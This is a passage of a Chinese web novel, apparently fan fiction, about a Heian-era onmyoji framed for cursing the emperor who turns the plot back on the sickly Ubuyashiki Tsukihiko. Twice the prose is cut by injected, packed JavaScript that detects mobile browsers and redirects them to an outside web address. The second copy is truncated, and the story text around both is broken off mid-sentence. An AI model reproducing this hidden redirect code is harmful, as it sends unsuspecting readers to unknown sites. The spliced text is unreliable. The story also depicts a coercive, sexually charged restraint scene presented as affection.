“听说了吗?那位备受天皇陛下宠爱的阴阳博士,才过去多长时间,官阶又升了一级。” “是啊,已经到从四位下了吧?迈入通贵的阶层了啊,咱们根本就犹如萤火,哪能比得上那轮皓月。” “嘘……听说天皇陛下有意让他成为阴阳头,要不是被当场婉拒,现在坐着的那位大春日大人早就得下去了。” “那位多有本事,竟然用卜筮搭上了产屋敷氏的线,就问你们谁做得到?难怪大春日一直都只是个从五位上啊。” “可别说了,大春日大人马上就要过来了。” “你的上司也真是辛苦呢。” 清晨的例行朝议之后,便是大家各自去处理政务的时间。 说是处理政务,最多也就到午时前结束了,除去值守的人员外,其余人会参加宴会。 游廊内到处都是三三两两聚集的官员,攀交情的、叙旧的、闲聊的、诉苦的……为了遵守大内里不得喧哗的规矩,所有人皆压低了嗓音说话,用袖袍或笏板掩着嘴,嗡嗡声响成了一片,倒也算得上热闹。 那两个官员边聊边匆匆离开,却没看见现今统管阴阳寮的阴阳头——大春日行守,正站在离他们一簾之隔的拐角处旁听。 身旁与他同行的是刑部省的实务总管,也被称为刑部省大辅,主管司法、刑狱及律令执行,权力不低。 他也听见了这些话,笑嘻嘻对大春日行守说道,“你啊,连手下人的口舌都没有管住呢。” “…………” 这种让人完全高兴不起来的内容,让大春日行守的嘴角往下撇,整张脸的褶皱都跟着拉长几分。 “我说,那个羽原品阶再如何高,现在只是个阴阳博士,总归是归你管辖之人。” 刑部省大辅又开口道,“你与他接触这么长时间下来,有没有感觉到……他哪里不对劲?” 这次,大春日行守紧皱眉头,望向这位同僚,“你说这句话是什么意思?” “呵呵……倒也没有太多意思。” 刑部省大辅竖起手持的笏板,将官架子的姿态摆得一本正经,“近来,我也有听闻些许风声,有人说他能如此迅速的获得天皇与摄公的青睐,乃是下咒之故。” 大春日行守“哈”了声,“下咒?” 刑部省大辅:“是啊,你们阴阳师的本事,身为阴阳头的你再清楚不过了。年仅26岁便升至从四位下,别说你心有疑虑,听到这消息的大多数人都为此困惑不已呢。” 大春日行守若有所悟:“所以,你怀疑……” 刑部省大辅摇头:“可不是我开始怀疑的,不过嘛,我也和他们说,阴阳博士可是有头有脸的人物,怎么会做出下咒来满足一己私欲的恶行呢?没有证据就要我抓人,那可是空口定罪,天皇陛下也不会答应的。” 心念电转间,大春日行守立刻明白是怎么回事。 有人私下给刑部省大辅打小报告,怀疑羽原雅之的升迁如此快,定是对天皇和摄公使用了什么邪门歪道的阴阳术。 现在,是这位刑部省大辅来向他刺探情报,顺便给予了一点暗示。 “我不曾见过他使用过诸如人偶、文书及经幡之类的道具。” 大春日行守缓慢开口,“不过,他在占卜上确实极有天分,话每出口,少见不灵验的。在阴阳术上,我承认我不如他。” “哦?”刑部省大辅眼前一亮,“您的意思是……” 大春日行守颔首。 “他若是施展出厉害的手段,我未必能分辨出来。” “——[未必能分辨出来],哼……话讲得很巧妙啊。” 听完这捕风捉影的传言,盘膝而坐的羽原雅之单手以拳抵脸,轻嗤出声。 “哎哟喂,您这表现得也太平静了,我的羽原大人!” 当事人还没表现出什么,松石先为羽原雅之急得团团转,“还有您,菅原大人,您怎么也一副如此淡然的模样,您不也被牵连进去了吗!” 菅原道真没有说话,只是笑呵呵的,端起酒盏就美美的大喝一口,还砸吧嘴仔细品味。 没办法,也不知道什么原因,羽原雅之亲自酿出来的酒就是和别的地方不同,又香又醇,还没有那股微妙的怪味。 他每次来羽原雅之的宅邸都未必见得到人,但对方总是会叮嘱仆从给他备一壶酒,包管他哪怕自饮自酌也能大兴而归。 等这盏酒喝完,菅原道真才在端起酒壶给自己满上的空隙,对羽原雅之说道。 “自你我初次相见的赏枫会那日,已过去大半年了吧?要不是我这次特意喊人去找你,你是不是还继续待在产屋敷宅邸里,陪在那个准家督身边?” 羽原雅之不置可否,“占卜揭示的神兆如此。” 他答得含混,是因为他自己也不清楚这所谓“大半年”里具体发生了什么事情。 没想到在这次的副本里,他竟然还是以【羽原雅之】的身份活动,而菅原道真一副跟他关系非常友好的模样。 仔细想想倒也合理,毕竟眼前这位可是后世家喻户晓的“学问之神”,是每逢考试就有各大学子去神社拜拜的北野天满宫天神。 哪怕是在游戏里,羽原雅之也不可能忍得住不主动结交他。 不过,毕竟目标是改造鬼王,他应当会如同菅原道真所说的,一直待在产屋敷月彦的身边。 至于菅原道真来跟他讲的这件事——这件有人通风报信、恶意污蔑他下咒控制了清和天皇与摄公藤原良房的这件事——老实说,羽原雅之还真的不怎么在意。 更确切一点,他反而不能表现出任何反应,只能暂且假装不知道这回事。 这确实是一个很巧妙的陷害。 人无法证明不存在的东西,哪怕再如何坦荡有底气,当他人已经主观定罪时,自证会被说狡辩,沉默会被说心虚。 就像欧洲中世纪的猎巫运动,被指控者的任何反应都会指向一个结果——看,她果然就是女巫。 而现在,羽原雅之也即将遭受这股舆论风暴。 他眼下所待的地方是副本,但同样也是游戏里会发生的未来剧情。 《构陷》啊……原来遭遇构陷的人不是菅原道真,而是他。 羽原雅之眯起眼眸沉思。 菅原道真继续美美喝着小酒。 只有松石在一旁急得满头大汗,坐立难安,看这模样,恨不得立刻冲到街道高喊我家主上是清白无罪的。 羽原雅之瞥了他一眼,只觉好笑,“你现在表现得如此急切,反而会被别人当作做贼心虚哦,松石。” 这慢悠悠的话一出口,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065523|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹来松石的大声疾呼,“哎呀,您都快要入狱了,还在这里对我说风凉话!” 根据律法,倘若有阴阳师仗着自身术法,涉及到“诅咒皇族”、“用妖术扰乱秩序”、“违禁占卜”等相关罪行,一经确认,便会被检非违使逮捕,提交到刑部省审讯,最后由摄政大臣或天皇做出裁决。 通常会判处死刑,少数流放,能被赦免的几乎没有。 最重要的是,哪怕羽原雅之是清白的,从被逮捕到收集证据也需要数日到数月之久。 在这期间,他会被关押在位于平安京的左狱或右狱。那里的狱舍条件实在恶劣至极,恶劣到再健康的人进去住了一段时间,也可能感染上重病,乃至直接丢了性命。 想出这招计谋的人,根本不是小打小闹,就是冲着杀死羽原雅之而来的。 菅原道真又喝完一盏酒,从怀里摸出一张被他揉得乱七八糟的纸团,交给羽原雅之。 “这是我的下仆偷偷藏进被褥的夹层里,正巧被另一仆人瞧见,等他离开后动手翻出来的东西。” “我看看。” 见羽原雅之将那张符纸展开,菅原道真也凑过脑袋去,“你能认得出这是什么吗?诅咒我的?” 明黄的符纸,上面用朱砂画出了一连串相当复杂的纹路。 老实说,这个人的画功不错,要是没有这些皱褶,乍一看像什么古朴的艺术品。 见羽原雅之盯着符纸半晌没说话,菅原道真与松石都紧张起来,心脏提到嗓子眼。 “画得还挺好看。” ——然后,听见他这么开口道。 “真有你的!” 菅原道真愣了下,随即哈哈大笑,笑得手里的酒都撒出去一些在他的衣袍上也不以为意。 松石的表情更是难以言喻,像是恨不得把自家主上的脑子挖出来洗一洗再安回去。 “至于内容,看不出来,我本来就不是出身正统阴阳师家族的人,他们会的很多东西我都不会。”羽原雅之摇头。 他充其量就是个咖啡店老板,会做咖啡,也会做些比较热门的甜点与料理。 阴阳术?不好意思,他全靠游戏开挂。 “但,不管这上面写了什么,这张符纸有没有效果,都不重要。” 羽原雅之将它放下,“它只要在其他人、尤其是天皇和摄公眼里是‘有用的’,就足够了。” “那你还能这么优哉游哉的分析这些,真是了不起。”菅原道真感叹,“倘若你这次能平安无事,我一定要为你写首和歌来庆祝。” 嚯,被历史知名人物写进和歌里传颂,约等于青史留名。 羽原雅之眼睛一亮,“这可是你说的,一言为定。之后你就算忘记了,也不能反悔。” “这事还能让我忘记?”菅原道真困惑,“你在卖什么关子呢,想出了解决办法就快点说,不要让我在这里白白为你担心。” “办法有几种,但我想用最有趣的那种。” 羽原雅之让松石为他准备好朱砂、符纸与笔墨。 菅原道真看着松石忙忙碌碌的跑进跑出,问羽原雅之。 “什么办法最有趣?” 羽原雅之提起那只毛笔,摊开符纸,饱蘸朱砂后,在顶端落下第一道殷红的痕迹。 “嗯……自然是,让我能给幕后黑手一个惊喜的办法。” 16.第 16 章 “菅原去过那个羽原的宅邸了?” 听到底下人呈上来的线报,刑部省大辅沉吟片刻,“从他宅邸的仆人口中可问出什么没有?” “问了,那个叫阿市的仆人说回来时见菅原道真回来时神色有点不对劲,还不允许他服侍脱衣,似乎……在护着怀里的什么东西。” “果然啊,跟线报与推测对上了……羽原这个阴阳博士,不仅用符纸操控了天皇陛下与摄公,还打算将产屋敷氏与菅原氏都握在掌心,何其恐怖的家伙。” “可是,菅原特意去羽原宅邸,会不会有可能是通风报信……?” 这位具体负责办案的刑部判事略带愁容,担心那个羽原雅之提前察觉到异常,将证据全部销毁。 “你有这个顾虑很正常,但私藏的符咒也不是那么好收回的,你眼下的当务之急是找到藏下这些符咒的从犯,我们不能容忍这样的人还能待在大人们的身边。” 刑部省大辅摇头感叹,挥手让他再继续盯梢。 等这位判事离开,刑部省大辅摊开一张空白的信笺,在上面书写了满满一大段文字,安排心腹抓紧时间送走。 望着竹簾外明媚的阳光,他已开始畅享未来的升迁之路。 假使真能办成功这桩案子,他必能更进一步,从刑部省大辅升到大藏省大辅,再升到参议,再升到中纳言,大纳言,直至左大臣或右大臣……呵呵,如果那位太政大臣看重自己,未必不会跳级提拔自己,一步登天称为大纳言啊。 恰好自前年的应天门之变后,主犯伴善男那家伙被判决流放,次席大纳言的位置之后一直空着,没准就能让他的屁股舒舒服服坐上去了呢。 刑部省大辅站在游廊下,连望着高空的飞鸟掠过,也觉得是上天有所感应,在向他遥遥报喜。 ——扑簌簌。 翅膀扇动的扑棱轻响,一只乌鸦落在挂着弦月的细长树梢上,震落几片半枯的叶,又歪着头去啄果实。 凉爽的微风拂过,产屋敷月彦却为此用袖袍掩住下半张脸,闷咳出声。 大约是疾病加重后的身体愈发羸弱,眼底的青黑又加重些许,导致他哪怕仅是平常抬起眼看人,也无端增加几分阴郁的消沉感。 理应是卧床休养的时间,他却坚持坐起身,披了件外袍便来到小腿高的矮几前,点亮油灯,展开收到的书信。 也正因如此,仅些许的微风就令产屋敷月彦咳得撕心裂肺。 他边看信边咳,等气息顺得差不多了,右手下意识往桌边一捞,却捞了个空。 “…………” 思绪恍惚片刻,产屋敷月彦才想起羽原雅之那家伙最近深陷针对他的流言,三天两头被刑部省那边故意用各种名头支走,没空前来产屋敷宅邸照看他。 这也是理所当然的,因为背地里放出这些流言的人,就是他。 要说证据吗?自然不可能有几分确凿。 毕竟区区几张符纸,说穿了也不过是张普通的纸张罢了。 但只要人心愿意,他们就可以为这张符纸附加上一切臆想出的“价值”——无论是好的,还是坏的。 很不巧,羽原雅之的升迁太顺利,受宠太过,偏偏出身早已败落之家,年龄尚轻却又不愿与其余家族联姻,娶妻生子,为娘家的家族奉献出自己的势力。 于是,背地里对他咬牙切齿、恨不得将他拖下水,踩在脚底的人,要多少有多少。 产屋敷月彦甚至不必刻意接近,他被羽原雅之时常带去出门散心,见的贵族与通贵多了,自然有人主动巴结他,向他示好。 在这点上,产屋敷月彦都要不禁嘲笑羽原雅之这一举措的愚蠢。 若是始终将他关在宅邸的别殿内,他没有机会出门,自然也不会在宴会上认识那些一门心思想往上爬的家伙。 但他偏偏将他带出去了。 而他心头那点恨意,恰好足够他花上大半年时间慢慢布局,一点一滴渗透蠢材的思想,挖掘他们心底那份甘愿铤而走险的渴望,直到让他们成为他的共谋。 [没关系,你也只是被他用咒术操纵了而已。]他在信笺上一张张地书写,[仔细想想,你是否有过与他接触的时候?哪怕一时半刻。] [为了让大家知晓他的这番恶行,我们需要一点小技巧——没什么大不了的,你只需要做一点小事就可以。] 用朱砂画出的符纸被折叠成不起眼的小块,随信笺一道送出。 真的很愚蠢,那些平日趾高气昂的公卿贵族,或高或低的官员,一旦被戳破思想的阴暗面,都只是能随意拿捏的傀儡罢了。 产屋敷月彦为这样的进展感到满意。 或许是他的心情太过愉悦,竟然忘记了羽原雅之眼下无暇陪在他身边,而在他咳得如此痛苦的此刻,没有下人进来搀扶他,或是端上一碗水。 产屋敷月彦盯着那张空荡荡的右半边案面,以及再无第二人的寝居内良久。 ……该死的混账。 他没有高声去喊守在游廊的下仆,哪怕他知道那些人并不识字,纵然将信摊在他们面前,也不必担心会泄密。 但他脸上的表情显然更难看了,倒映在幽深眸底的火苗跃动,仿佛随时都要被风吹熄。 即使信上写着符纸已陆陆续续从天皇、摄公以及他的房间里被搜出、羽原雅之正在被压往大内里,等候天皇亲自审讯并下达斩刑,心情也没能好转多少。 哼……会有这个结果是理所当然的,他竟然会容忍对方在自己身旁近一年,本就是天大的仁慈。 不能亲自杀死那个混账神官,可不等于他对此束手无策。 那个胆敢肆意玩弄他、若无其事插手他生活,强迫他服从那家伙的无聊意志的混账神官……等今晚过去,就再也不会见到那张可恶的脸了。 产屋敷月彦又捂着嘴咳了两声,自鬓发间抬起的眼里充满恶劣的快意。 会落得这种下场也是他活该! 神官?大阴阳师?阴阳博士?名头叫得那么好听,还说什么神兆指引他来到自己身边,这一年来,他的绝症不还是在逐步加重吗! 所谓的“天”,所谓的“神祇”,根本就是虚伪之物! 羽原雅之也与曾经那些来到产屋敷宅邸的神官同样,只知道说些道貌岸然、装神弄鬼的漂亮话——但实际上?他依旧拖着这副病弱的躯体苟延残喘,下人看他的眼神就仿佛在看一个行将就木的死人! 可恨的家伙,死不足惜! 产屋敷月彦咳得更厉害了。 他半侧半跪在案几前,拉长的倒影落在后方的榻榻米与竹簾上,轮廓被扭曲、勾勒出古怪的形状,好似变成了一尊弓起身子的、叩拜神明的塑像,消瘦、苦痛,却虔诚。 而这道影子,总会无意识转过头去,用视线去搜寻熟悉的另一道影子。 在察觉到自己的这番行为背后所指代的含义后,产屋敷月彦的表情只会在下一刻被压得更阴郁。 想破坏掉更多东西,想摧毁目之所及的一切,想杀死更多…… ——轰隆! 天边一道惊雷乍响,惊得产屋敷月彦的思绪卡壳,抬眼去望。 这声雷响得极为不寻常,窗外分明是晴朗到连星子都少见的皎洁月夜,半片乌云都没有,怎么会突然劈出一道雷? 然而,第二道闪电更快得闪在产屋敷月彦的眼前,在暗淡夜幕上一直蔓延出极远的位置,近乎撕开整个苍穹。 轰隆! 等到第三声雷响起时,瓢泼大雨已跟着雷一道落了下来。 下……下雨了? 产屋敷月彦惊疑不定望向窗外。 这么突然? 不过,眼下是初秋,这场雨虽然来得格外突兀,倒也勉强还算合理。 只思绪掠过的片刻间,噼里啪啦的雨点落得更急,激得原本专心啃噬果子的乌鸦慌乱振翅而飞,发出一声长却狼狈的鸣叫。 很快便有细细的积水淌在庭院内的鹅白卵石上,被灯火照得影影绰绰,大片流向夜色深处,小片倒映在产屋敷月彦的幽暗眸底,仿若另一片星河洒在此处。 过去了好一会儿,这场骤雨也丝毫没有要停下来的趋势。 就好像……它并不是一场自然落下的雨,而是某种规则、某种意志的具象化。 产屋敷月彦盯着廊外看了许久,嗤笑一声,收回目光。 这世上根本不存在神明,也不可能有所谓的“天罚”。 人心永远藏着更恶的一面,自私自利又愚蠢至极,羽原雅之必死无疑,他不可能活得下来。 他眼下唯一要考虑的是,等这场雨停后,气温会一日比一日降得更低,他需要多披几件衣服,再命人点一盆炭火到房里。 另外,还得找到能治疗他身体的疾病、能够延长他寿命的医生…… 产屋敷月彦将手里那张纸的一角放在油灯的火苗上,看着它被点燃,青烟缭绕,又化作更多的灰烬飘落在案头。 等最后一点纸屑也在空中燃尽时,骤然明亮的室内又再次暗了下去,仅照亮中央的不大一圈。 暖黄的朦胧光圈内,案几与榻榻米上都落了不少灰烬,乍一看,仿佛被烫出了星点瘢痕。 只不过,产屋敷月彦连这点烟雾都受不住,被呛得又闷咳两声。 该死的仆人,笃定他快死了吗,竟然连碗水也不会倒…… “没有我在,你连喝水也不肯了吗,月彦?” ——那道熟悉到近乎刻骨铭心嗓音响起,惊得产屋敷月彦原本去拢衣袍的手停在原地,眼瞳瞪得极为震惊,满含错愕。 恰在此刻,一道炸响的闪电再次亮起,瞬间照亮这间空旷的寝殿。 刮起的风不仅吹动竹簾,甚至将围拢在床榻旁的垂低帷幔也掀得哗啦啦作响,溅进一大股湿润的水汽。 而在这刹那间亮如白昼的空间中,产屋敷月彦清晰看见有道颀长身影站在竹簾外,就站在那游廊之下。 逆着光的他看不清脸,只能见到那顶从不脱下的乌帽子被摘去,垂落至腰间的长发连带宽大的狩衣袖袍飘飘乎随风而起,勾勒得身形挺拔,又似鬼如魅。 再清楚不过了,站在那里的人就是羽原雅之。 不知道什么原因,他竟然没有被天皇判处斩刑,还回来找他了……! “等等,你这家伙,不应该……出现……在这里!” 产屋敷月彦震惊得往后跌坐,那双暗色的瞳眸在已然睁至极限的眼眶禁不住的颤动,仿若看见了什么不可思议的东西。 当然会难以想象啊,一个注定会被判处斩刑的,那个刑部省大辅都已经传信来说他肯定会死的,这样的一个必死之人,怎么会在这样的雷雨夜里,出现在他的面前! “哦?我不应该出现在这里?为什么?” 在如此激烈的狂风暴雨中,那道略低的嗓音发出轻笑。 他只是在连接寝殿外的游廊那里站着,赤着足,也散着长发。 灯火摇曳间,隐约能窥见吹起的狩衣广袖上面好像沾了些许痕迹。 中央是偏深的暗红色,边缘呈现出被雨水晕开的殷红,面积不大,但被皎白色的狩衣外袍衬着,极为醒目。 只要是个没瞎的人就能看得出来,那是血。 用这副半点也不整洁、甚至连乌帽子都没佩戴的衣冠装束,无论去往谁的家里,都会被大骂毫无教养,不懂礼仪。 但如果换个角度思考…… 产屋敷月彦骇得表情大变,但很快又强制稳定心神,咬紧牙,反过来用手压在案面上撑住身体,也撑住他大喊的气力。 “你已经死了!你应该会死在今夜才对!可恶,你莫非变成了像早良亲王那般的恶灵,来找我讨个说法吗!别自以为是了,要说也是你这家伙不对,竟敢对我如此无礼……这么长时间!这么长时间!” 最后两句话,产屋敷月彦大口喘息着,近乎是从胸口里挤出的最后一点声音,沙哑,破碎,还带着明显的颤抖。 他口中所说的“早良亲王”,生于一百年前的奈良时代末期,是日本桓武天皇的弟弟,曾以为立太子无望而出家为僧,后来好不容易被立为太子,又卷入藤原种继暗杀事件导致被废,幽闭在乙训寺,又流放至淡路国,途中为证明自己的无辜,满怀愤恨的绝食而亡。 据说他在死前,用血不停地写下一句诗——我怨天子无绝期。 于是,在他死后,不仅皇族内部出现暴病而亡的现象,连当时还是京都的长冈京也同样频发疫病与灾异,被朝廷视为其怨灵作祟,不得不放弃了才用了十年的长冈京,迁都于如今的平安京。 最终不得已,于延历19年(800年)追赠为“崇道天皇”,以安灵息怨。 从某种方面而言,这件事也间接导致了如今的上层阶级会如此推崇阴阳师及阴阳道。 也就是指,接受过系统精英教育的产屋敷月彦,口中再如何宣称“不相信鬼神之说”,也终归是详细学过这段历史的。 倘若早良亲王真的含冤而亡,化为怨灵来找当时的桓武天皇复仇的话。 那么,清楚羽原雅之同样是因他的设计陷害而枉死的产屋敷月彦,脑海里也下意识联想到这段历史,愤而朝他大喊出声,直到破音、直到咳得声嘶力竭也没有停止。 那道身影站在游廊下许久,望过来,似乎只是一道恐惧的影子,晦暗不明。 等产屋敷月彦喊完了那一通,捂着嘴开始猛咳时,那道身影终于动了。 随着他迈出的第一步,庭院外的风雨刮得愈发厉害,甚至隐隐有呼啸之声。 闪电一道接一道地劈过,每次都为整间寝居刷上近乎惨白的昼光,也将往这边靠近的逆光身影映得更似鬼神。 在产屋敷月彦难以置信的目光中,他慢条斯理地跨过游廊,抬手掀起竹簾,带着冰冷的水汽与大风,就这么出现在寝居中,也站进了油灯的照耀范围里。 外面的雨确实太大了,还是那张熟悉的、唇角微微弯出笑意的脸,有雨珠沿着鬓角与面颊蜿蜒滑落,浸入同样湿漉漉的狩衣里。 大约是殿外的风同样猛烈,才能将长发随狩衣一道拂起,令他显出几分活人气息。 然而,当他来到寝居内后,偏静止的环境使那身湿透的狩衣重重垂着,连发梢也是,末端一直在往下淌水,滴滴答答,很快就在他的脚边积聚了小片的水洼。 产屋敷月彦发现他的左侧衣袖上确实有被血印上的字迹,只是随着垂落的褶皱藏进去大半,隐隐约约,分辨不清具体写了什么。 如果是平常的他,仅凭这一点好奇,必定已驱使他开口向对方问出话来。 刨根究底得理直气壮,压根不认为有哪里不对。 但在此刻——在对方似乎化作怨灵前来索命的此刻——产屋敷月彦的表情僵住了,目光落在他没有戴着乌帽子的头发上,又落在衣袖上,就好像能通过这点与往常不同的细节,来辨认出对方的危险性似的。 只不过,随着这道身影的越靠越近,产屋敷月彦原本仅是僵硬的反应也逐渐变得惊慌。 “等等,你……你别过来……!” 在极致的危险下,人的反应也愈发趋近于本能,以至于令他说出如此无力的命令来,可爱得险些要让羽原雅之笑出声。 “我为什么不能过来?” 赤足踩在铺设榻榻米区域外沿的木地板上,羽原雅之的语速很慢,甚至带着点漫不经心的味道。 “是因为我没来得及换身衣服就来找你吗?呵呵……你也应该清楚,为什么我不得不用这副狼狈的模样来见你吧,月彦?” 这话听着太渗人,产屋敷月彦反手抓起案几上的兽雕镇纸,用尽力气,狠狠朝羽原雅之掷去。 仿佛这一下就能将恶灵驱逐出去似的。 羽原雅之反手便精准接住,抓在掌心。 这时,他也已经来到产屋敷月彦的面前。 二人距离挨得极近,近到产屋敷月彦的肩头都被低落的水珠浸湿一块,贴着肌肤,传递出冰凉的温度。 而后,窸窸窣窣的动静响起,产屋敷月彦还没来得及转身去看他,就感知到背后贴上面积更大的冰冷凉意,湿漉漉的狩衣吸饱了雨水,厚重不堪,远不是他身上那件单薄衣料能够隔绝的。 对方半屈起腿,竟然也这样坐在他身后,以一种手把手教学式的姿势,不容置疑的将他圈在自己的怀抱里。 从背后传来的温度太冷了,冷得产屋敷月彦感觉到自己胳膊上起了大片鸡皮疙瘩。 而对方坐下的身量也比自己高出许多,那些长发便也随着动作滑落些许,一丝一丝的贴在他的颈侧,反馈出古怪的、令人不适的触感。 接着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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……就是这样才可怕。 产屋敷月彦没有说话,脸也低低埋着油灯的阴影里,看不清表情。 因为分辨不出对方的情绪,所以没办法操控他,没办法了解他,甚至搞不懂他在想什么,为什么要出现在他的身边。 得不到回应,羽原雅之也不着急,只是继续把玩着那绺已带着血腥水汽的发丝,好似它变成了天底下最有意思的玩具。 殿外的风雨小了些,也不再频繁的电闪雷鸣。 对于殿内的压抑气氛而言,这点减轻实在无济于事。 等到油灯的灯芯爆出一点火花,产屋敷月彦才终于又出声。 “你来抓我去向天皇复命吗,为了证明你是无辜的?” 听到这句问话,后背传来明显的胸膛震动,有笑声自小而大,从对方的口中传来。 那只把玩着发丝的右手也松开,转而五指张开,包住产屋敷月彦放在桌上的那只手。 一点一点地,迫使攥紧的拳头松开,五指贴着五指,手背贴着手背,亲昵无间,血水交融。 “你会用这样的伎俩,是因为阴阳师的咒法都是假的,没有阴阳师能证明他的符纸有效,自然也无法证明它无效。” 羽原雅之垂下头,开口的声音近乎紧贴着产屋敷月彦的耳畔。 “是的,很可惜,我是真正的阴阳师。” 产屋敷月彦的呼吸停滞了片刻,“你……你真的控制了他们?” “我将你放在菅原道真那的符纸换成了求雨符箓,言明我只是替道真求雨,是有人偷了他的符咒去复刻,误以为那是我用来控制人心的符箓。” 羽原雅之笑着,左手将产屋敷月彦搂得更紧密了些,向他摊开自己的右手掌心。 中间有一道割开的伤口,边缘被雨水泡得有些泛白,仍在沁出鲜血。 “当然,这样做还不够,如果我向他们展示了我能求雨,就证明我也真的可以操控他们。” 羽原雅之的身体冰冷,开口吐出的气音却是温热的,带着柔软的笑意;但那热气拂在产屋敷月彦的耳廓与颈侧,却令他战栗得更厉害。 “于是,我当场咒杀了冤枉我的刑部省大辅,只为了向他们证明,我如果真的想要这个国家,根本不需要花费力气去藏什么操控符纸。” 原来如此,所以他才在左边衣袖上写了那个刑部省大辅的名字! 产屋敷月彦瞪大眼睛,难以置信,“你,你竟然真的……” 他的话没能说完,羽原雅之也不着急肯定或解释,只是用右手握住产屋敷月彦的右手,拇指摩挲过他的虎口,又驱使他拿起桌上那支毛笔,蘸了蘸墨。 有血水自相贴的部分滑落进墨砚里,他也并不在意。 那只毛笔被两只手交叠握着,虚虚空悬在一张空白的信笺上。 “月彦……你就是用这只手,写出了那些信,画出了那些虚假的符咒吗?” 羽原雅之用左手亲密拥着怀里人的腰腹,声音压得更低,更轻,带着一点循循善诱般的从容笑意。 “我来教你画真正的符箓吧。要认真学哦,你看起来很有天分,可不能让我失望啊。” 第一笔刚落在纸上,产屋敷月彦便闷哼出声,歪了走势。 “唉…怎么这么快就失误了?” 羽原雅之微笑着,给他换了一张新的。 “幸好你这里准备了许多白纸,我们不用很着急,再来一次。” 又是蘸饱墨水的一笔落下。 再次报废。 换了张新的,这次多画了几笔。 再次报废。 “定力很差啊,月彦。” 羽原雅之的唇角依旧噙着笑意,用极大的包容态度,又为他换上了新的空白纸张。 与他的淡然态度不同,产屋敷月彦眉头紧锁,那只被包在对方掌心里的右手发颤,牙关磨着挤出声音。 “你放……唔,放开我……!我能好好画!” “月彦做不到的吧?” 羽原雅之在他耳边笑着,低声开口,“因为月彦的身体很差啊,连长时间坐起身都做不到,连握笔写字都要有人照顾才行,一刻也离不开呢。” 在案几的遮挡下,产屋敷月彦的衣襟明显因刚才的挣扎而有些散开了。 他也大口大口喘着气,身体有些软,全靠羽原雅之在后方替他撑着,才没有直接歪倒在地。 “是你……搞的鬼……” 即使这样,他依然倔强的出声反驳,“我才……没有……!该死……放开我……” “这是教学,不可以轻易放弃。” 羽原雅之毫不动摇,又拿来一张新的白纸,摊开在产屋敷月彦的面前。 “直到你成功画出这张符箓为止,教学是不会结束的。珍惜些啊,你在学一位真正阴阳师教给你的东西呢。” 他的嗓音依然是温和的,听在产屋敷月彦的耳朵里,却比索命的恶灵还要可怖。 一次。 又一次。 再一次。 产屋敷月彦早就彻底没了力气,整个身体都靠在羽原雅之的怀抱里,喉间发出一点哽咽般的吞音,像一只筋疲力尽的兽。 即使单衣被雨水浸得湿透也无所谓了,他被折腾得眼眸半睁半闭,落在案面的指尖都在轻微打颤。 案几右侧有一摞报废的纸张,叠得高高的,是产屋敷月彦今晚“学习失败”的成果。 看起来似乎非常没有天分。 羽原雅之却笑着,将最后那张成功画完的符箓举在油灯下,仔细欣赏。 “这不是能做得很好吗?” 听到这种仿若夸奖的话,产屋敷月彦的眼珠动了一下,喉头滚动。 “你究竟……一直以来……为什么要这样对我?” 羽原雅之的动作停住片刻。 接着,他将手上的那张符箓放下,已被体温焐热的掌心亲昵贴上产屋敷月彦的面颊——连脑袋也垂得更低,已半干的长发滑落肩头,如蛛网笼罩猎物,却又与对方耳鬓厮磨。 “那当然是因为,” 在产屋敷月彦被迫仰起头的视野里,羽原雅之的唇角朝上弯起,朝他露出一个标准的、无可挑剔的微笑。 “我爱着你啊,月彦。”